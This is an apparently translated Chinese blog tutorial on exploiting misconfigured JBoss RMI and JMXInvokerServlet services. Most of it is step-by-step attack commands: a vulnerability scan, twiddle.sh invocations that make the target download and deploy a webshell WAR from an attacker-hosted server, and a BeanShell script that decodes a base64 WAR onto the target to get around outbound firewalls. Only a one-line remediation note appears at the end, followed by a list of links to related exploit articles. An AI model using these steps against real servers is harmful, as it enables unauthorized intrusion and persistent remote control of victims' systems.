JBoss远程方法调用漏洞利用详解
早上起床打开微博看到空虚浪子心大神发的一篇有关Jboss漏洞的文章,对我等菜鸟来说那边文章看起来还是很吃力的,所以查了查国内外的资料,翻译写了这边文章,记录一下。
在JBoss服务器上部署web应用程序,有很多不同的方式,诸如:JMX Console、Remote Method Invocation(RMI)、JMXInvokerServlet、HttpAdapter等。
本文主要是关于RMI远程方法调用漏洞的,其它几种部署方式比如JMX Console,也是会有漏洞的,主要看JBoss服务器的配置是否正确严谨。之前也有一篇关于JMX Console漏洞利用的。有兴趣可以在本站搜索一下,言归正传:
Metasploit有很多的模块针对不同的JBOSS漏洞,其中有 jboss_vulnscan模块,路径为:auxiliary/scanner/http/jboss_vulnscan, 通过该模块可以进行JBoss服务器漏洞扫描,可以探测是否有开放4444,1098,1099端口。当然也可以使用Nmap批量扫描某个网段是否有开放1099,1098或4444端口。如下:
|
1
2
3
4
5
6
7
8
9
|
[+] 192.168.0.35:443 /invoker/JMXInvokerServlet does not require authentication (200) [*] 192.168.0.35:443 Checking services... [*] 192.168.0.35:443 Naming Service tcp/1098: open [*] 192.168.0.35:443 Naming Service tcp/1099: open [*] 192.168.0.35:443 RMI invoker tcp/4444: open |
可以看到RMI默认端口4444是开启的,JNDI(Java Naming and Directory Interface)默认端口也是1098,1099也是开启的。有关JNDI的解释可以百度。
为了和远程目标JBoss服务器进行交互,需要在本地安装Jboss AS(如:JBoss – 4.2.3.GA ),使用其中bin目录下的twiddle和Jboss进行交互,在linux下使用用twiddle.sh,在windows下使用twiddle.bat,如下:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
$ sh jboss-4.2.3.GA/bin/twiddle.sh -h A JMX client to ’twiddle’ with a remote JBoss server. usage: twiddle.sh [options] <command> [command_arguments] options: -h, --help Show this help message --help-commands Show a list of commands -H=<command> Show command specific help -c=command.properties Specify the command.properties file to use -D<name>[=<value>] Set a system property -- Stop procession options -s, --server=<url> The JNDI URL of the remote server -a, --adapter=<name> The JNDI name of the RMI adapter to user -u, --user=<name> Specify the username for authentication -p, --password=<name> Specify the password for authentication -q, --quiet Be somewhat more quiet |
获取远程目标JBoss服务器的系统信息,用如下命令:
|
1
2
3
4
5
|
root@bt:/pentest/web/jboss/jboss-4.2.1.GA/bin# ./twiddle.sh -s 192.168.0.35 get "jboss.system:type=ServerInfo" HostAddress=192.168.0.35 ...... JavaVersion=1.5.0_13 MaxMemory=266600448 |
为了获取更高的权限,可以给JBoss服务器部署我们的webshell,创建一个war文件,可以使用Myeclipse来构建一个包含webshell的war,方法如下:
1、打开Myeclipse新建Web项目
2、把jsp放到WebRoot目录下
3、导出项目为war文件

构建好包含webshell的war之后,可以使用twiddle将该war部署的目标jboss服务器上,首先需要将war放到一个web服务器,可以使用twistd快速搭建一个web,如下:
|
1
2
3
4
5
|
root@bt:/pentest/web/jboss/fns# ls getshell.war root@bt:/pentest/web/jboss/fns# twistd -n --path=. --port=80 |
部署war到Jboss服务器,命令如下:
|
1
|
root@bt:/pentest/web/jboss/jboss-4.2.1.GA/bin# ./twiddle.sh -s 192.168.0.35 invoke "jboss.system:service=MainDeployer" deploy http://10.0.1.50/getshell.war |
执行之后就会在jboss服务器上部署好我们的webshell,路径为:
http://192.168.0.35/getshell/customize.jsp
以上是一个使用RMI远程方法调用漏洞入侵Jboss服务器的过程,以上的过程也是有前提条件的,最主要的是Jboss服务器需要允许访问远程的HTTP服务器,否则利用RMI是没有办法进行部署远程war到JBOSS服务器。
然而在很多配置中,防火墙不允许JBoss服务器对外发出连接请求,如果遇到有防火墙的这种情况,可以使用BSHDeployer在目标Jboss服务器上执行任意的Beanshell来部署webshell。
BeanShell是一种运行在JRE上的脚本语言,该语言支持常规的Java语法。可以很快写完,并且不需要编译,JBoss服务器中BSHDeployer可以部署BeanShell脚本,它会安装后自动执行。具体的步骤如下:
1,按照前文提到的方法,创建好包含jspshell的shell.war;
2,用linux下的base64命令生成shell.war的base64的表示,命令如下:
|
1
|
root@bt:~#base64 -w 0 shell.war>>shell.war.base64 |
3,创建beanshell脚本,创建一个txt文档,无需任何换行符,保存以下内容到该txt:
|
1
|
import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val="shell.war的base64表示"; BASE64Decoder decoder = new BASE64Decoder(); byte[] byteval=decoder.decodeBuffer(val); FileOutputStream fs = new FileOutputStream("/temp/shell.war"); fs,write(byteval); fs.close(); |
其中val变量中是shell.war文件的base64表示,如果目标Jboss服务器是windows的话目录修改如:C:\WINDOWS\TEMP\shell.war,将txt重命名为:.bsh文件
4,使用前文中的bin/twiddle.sh工具将本地.bsh文件创建到远程jboss服务器上,命令如下:
|
1
|
$ ./jboss-4.2.3.GA/bin/twiddle.sh -s 192.168.0.35 invoke jboss.deployer:service=BSHDeployer createScriptDeployment "‘cat deployer.bsh‘" deployer.bsh |
该命令执行完成之后会在远程Jboss服务器生成shell.war,目录为/temp/shell.war
5,然后继续使用twiddle.sh将Jboss服务器上的shell.war进行部署,命令如下:
|
1
|
$ ./jboss-4.2.3.GA/bin/twiddle.sh -s 192.168.0.35 invoke jboss.system:service=MainDeployer deploy "/temp/shell.war" |
目标Jboss服务器为windows的话命令如下:
|
1
|
$./jboss-4.2.3.GA/bin/twiddle.sh -s 192.168.0.35 invoke jboss.system:service=MainDeployer deploy "file:C:/WINDOWS/TEMP/shell.war" |
这样就会就会将shell.war部署在目标jboss服务器上,其中有我们的jspshell,接下来你们懂的!
Jboss远程方法调用漏洞修复建议引用空虚浪子心大婶的文章内容:
把invoker删除了,再把1099关闭就好。
PS:本文由阿德马童鞋翻译查找总结,转载请注明出处,TKS!有部分不准确的地方也欢迎拍砖。
JBoss远程方法调用漏洞利用详解的更多相关文章
- Drupal 7.31SQL注入getshell漏洞利用详解及EXP
0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp不再深入下去. 0x0 ...
- SSTI服务端模板注入漏洞原理详解及利用姿势集锦
目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...
- CSRF 漏洞原理详解及防御方法
跨站请求伪造:攻击者可以劫持其他用户进行的一些请求,利用用户身份进行恶意操作. 例如:请求http://x.com/del.php?id=1 是一个删除ID为1的账号,但是只有管理员才可以操作,如果攻 ...
- tomcat session漏洞反序列化详解
1. 条件1)攻击者可以控制服务器上的文件名/文件内容2)tomcat context配置了persistencemanager的fileSotre3) persistenceManager 配置了s ...
- jboss jndi配置部分参数详解
使用的是jboss7.1.1, jndi的配置在$JBOSS_HOME/standalone/configuration/standalone.xml中进行配置.配置jndi时有很多参数,解释下用到的 ...
- tomcat 和 jboss access log 日志输出详解
详见:http://blog.yemou.net/article/query/info/tytfjhfascvhzxcyt179 工作中nginx+jboss/tomcat反向代理集成,想打开后端jb ...
- Java反序列化漏洞详解
Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具.本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进 ...
- android WebView详解,常见漏洞详解和安全源码
这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析. 转载请注明出处:http://blog.csdn.net/se ...
- jboss之启动加载过程详解
今天看了看jboss的boot.log和server.log日志,结合自己的理解和其他的资料,现对jboss的启动和加载过程做出如下总结: boot.xml是服务器的启动过程的日志,不涉及后续的操作过 ...
随机推荐
- Redis Cluster 3.0搭建与使用
Redis Cluster终于出了Stable,这让人很是激动,等Stable很久了,所以还是先玩玩. 一. 集群简单概念. Redis 集群是一个可以在多个 Redis 节点之间进行数据共享的设施( ...
- 转simhash与重复信息识别
simhash与重复信息识别 在工作学习中,我往往感叹数学奇迹般的解决一些貌似不可能完成的任务,并且十分希望将这种喜悦分享给大家,就好比说:“老婆,出来看上帝”…… 随着信息爆炸时代的来临,互联网上充 ...
- Html 5+
audio Audio模块用于提供音频的录制和播放功能,可调用系统的麦克风设备进行录音操作,也可调用系统的扬声器设备播放音频文件.通过plus.audio获取音频管理对象. http://www.ht ...
- php如何判断远程文件是否存在
<?php /* 函数:remote_file_exists 功能:判断远程文件是否存在 参数: $url_file -远程文件URL 返回:存在返回true,不存在或者其他原因 ...
- PHP文件漏桐可以通过对服务器进行设置和配置来达到防范目的
对脚本执行漏洞的防范 黑客利用脚本执行漏洞进行攻击的手段是多种多样的,而且是灵活多变的,对此,必须要采用多种防范方法综合的手段,才能有效防止黑客对脚本执行漏洞进行攻击.这里常用的方法方法有以下四种.一 ...
- 《Pro Git》笔记2:Git基础操作
第二章 Git基础 Git基础包括:版本库的创建和获取,文件添加修改提交等基本操作,状态查询,远程版本库管理和同步,打标签. 1.取得项目的Git版本库 基于Git的工作流要以Git版本库为基础,即可 ...
- 【转载】存储scale-up和scalce-out架构
转自:存储scale-up和scalce-out架构 存储scale-up和scalce-out架构 Scale-up,即纵向扩展架构.从下面的拓扑图我们可见,纵向扩展是利用现有的存储系统,通过不断增 ...
- Ubuntu+Nginx+PHP的最简搭建方法
先安装: sudo apt-get install nginx php5-fpm -y 然后编辑配置文件: /etc/nginx/site-available/default 找到"loca ...
- 用php随机生成福彩双色球号码的2种方法
不瞒您说,俺也是个双色球爱好者,经常买,但迟迟没有中过一等奖,哈哈.这里为大家介绍用php随机生成福彩双色球号码的二种方法,供朋友们学习参考.新的一年,祝大家中大奖,发大财. 方法一 复制代码代码如下 ...
- 用命令行导出和导入MySQL数据库
php 用命令行导出和导入MySQL数据库 命令行导出数据库:1,进入MySQL目录下的bin文件夹:cd MySQL中到bin文件夹的目录如我输入的命令行:cd C:\Program Files ...